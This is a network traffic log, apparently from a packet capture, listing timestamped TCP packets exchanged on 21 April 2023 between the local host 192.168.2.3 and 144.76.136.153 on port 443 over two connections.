Apr 21, 2023 01:03:00.975253105 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.975267887 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.975323915 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.975349903 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976324081 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976367950 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976438999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976454973 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976485014 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976524115 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976743937 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976788044 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976860046 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976875067 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.976921082 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.976967096 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977354050 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977416992 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977485895 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977502108 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977531910 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977575064 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977703094 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977751017 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977804899 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977819920 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977853060 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977875948 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.977936983 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.977979898 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978034019 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978049994 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978079081 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978116035 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978193045 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978235006 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978288889 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978307009 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978337049 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978374004 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.978888988 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.978935957 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.979001999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.979017019 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.979048967 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.979080915 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.983993053 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984047890 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984292984 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984380960 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.984383106 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984380960 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.984432936 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984478951 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.984600067 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984643936 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984688997 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.984719038 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.984746933 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.984780073 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.985249043 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.985297918 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.985553026 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.985553026 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.985580921 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.986027956 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.986073971 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.986234903 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.986234903 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.986262083 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.986818075 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.986871004 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.987015009 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.987057924 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.987093925 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.987093925 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.987129927 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.987174988 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.987174988 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.987206936 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.988687992 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.988749027 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.988822937 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.988863945 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.988894939 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.988919020 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991321087 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991365910 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991470098 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991502047 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991568089 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991676092 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991738081 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991780043 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991852999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991877079 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.991911888 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.991967916 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992229939 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992285013 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992347002 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992371082 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992428064 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992444992 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992444992 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992466927 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992501020 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992532969 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992561102 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992583990 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992611885 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992674112 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992727041 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992775917 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992873907 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.992902994 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.992957115 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.993752956 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.993814945 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.993845940 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.993870974 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.993899107 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.993920088 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994203091 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994265079 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994302988 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994323015 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994352102 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994385004 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994689941 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994740009 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994786978 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994800091 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.994823933 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.994858027 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.996112108 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.996160030 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.996231079 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.996244907 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.996268988 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.996293068 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.996864080 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.996911049 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.996968985 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.996982098 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.997035980 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.997035980 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.997124910 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.997174025 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.997283936 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.997298956 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.997356892 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998070002 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998126030 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998202085 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998236895 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998265028 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998305082 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998611927 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998677015 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998733044 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998764038 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.998797894 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.998817921 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999007940 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999067068 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999119997 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999139071 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999169111 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999207020 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999718904 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999763966 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999814034 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999839067 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999866962 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999867916 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999893904 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999914885 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:00.999972105 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:00.999996901 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000020981 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000062943 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000447035 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000475883 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000493050 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000520945 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000551939 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000569105 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000627995 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000632048 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000647068 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.000657082 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.000710964 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.001113892 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.001156092 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.001214027 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.001230001 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.001264095 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.001288891 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002029896 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002079010 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002137899 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002151012 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002176046 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002193928 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002527952 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002572060 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002614021 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002626896 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002650976 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002682924 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002840042 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002885103 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002937078 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002955914 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002955914 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.002971888 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.002978086 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003030062 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003056049 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003060102 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003079891 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003120899 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003139019 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003179073 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003226042 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003249884 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003273010 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003304005 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003319025 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003334999 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003367901 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003407001 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003407001 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003432989 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.003458977 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.003508091 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.013812065 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.013854027 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.013930082 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.013959885 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.013992071 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.014015913 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018532991 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018579960 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018639088 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018656015 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018688917 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018707991 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018769026 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018816948 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018840075 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018852949 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.018876076 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.018891096 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.019785881 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.019831896 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.019876957 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.019891024 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.019907951 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.019939899 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.020412922 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.020461082 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.020498991 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.020509005 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.020536900 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.020553112 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021199942 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021260023 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021303892 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021312952 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021342993 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021358013 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021641970 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021687984 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021727085 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021739960 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.021758080 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.021776915 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.022380114 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.022440910 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.022485018 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.022504091 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.022526979 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.022550106 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.023132086 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.023178101 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.023207903 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.023224115 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.023243904 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.023266077 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.030920982 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.030966997 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.031059980 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.031080008 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.031097889 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.031131983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.031794071 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.031841993 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.031883001 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.031893015 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.031910896 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.031939983 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032469988 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032531977 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032577991 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032613993 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032640934 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032685041 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032705069 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032752991 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032793999 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032810926 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032840014 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032875061 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032891035 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032916069 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032968044 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.032972097 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.032995939 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033010960 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033050060 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033075094 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033150911 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033194065 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033241034 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033251047 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033260107 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033288002 CEST	49682	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033297062 CEST	443	49683	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033320904 CEST	443	49682	144.76.136.153	192.168.2.3
Apr 21, 2023 01:03:01.033338070 CEST	49683	443	192.168.2.3	144.76.136.153
Apr 21, 2023 01:03:01.033358097 CEST	443	49683	144.76.136.153	192.168.2.3
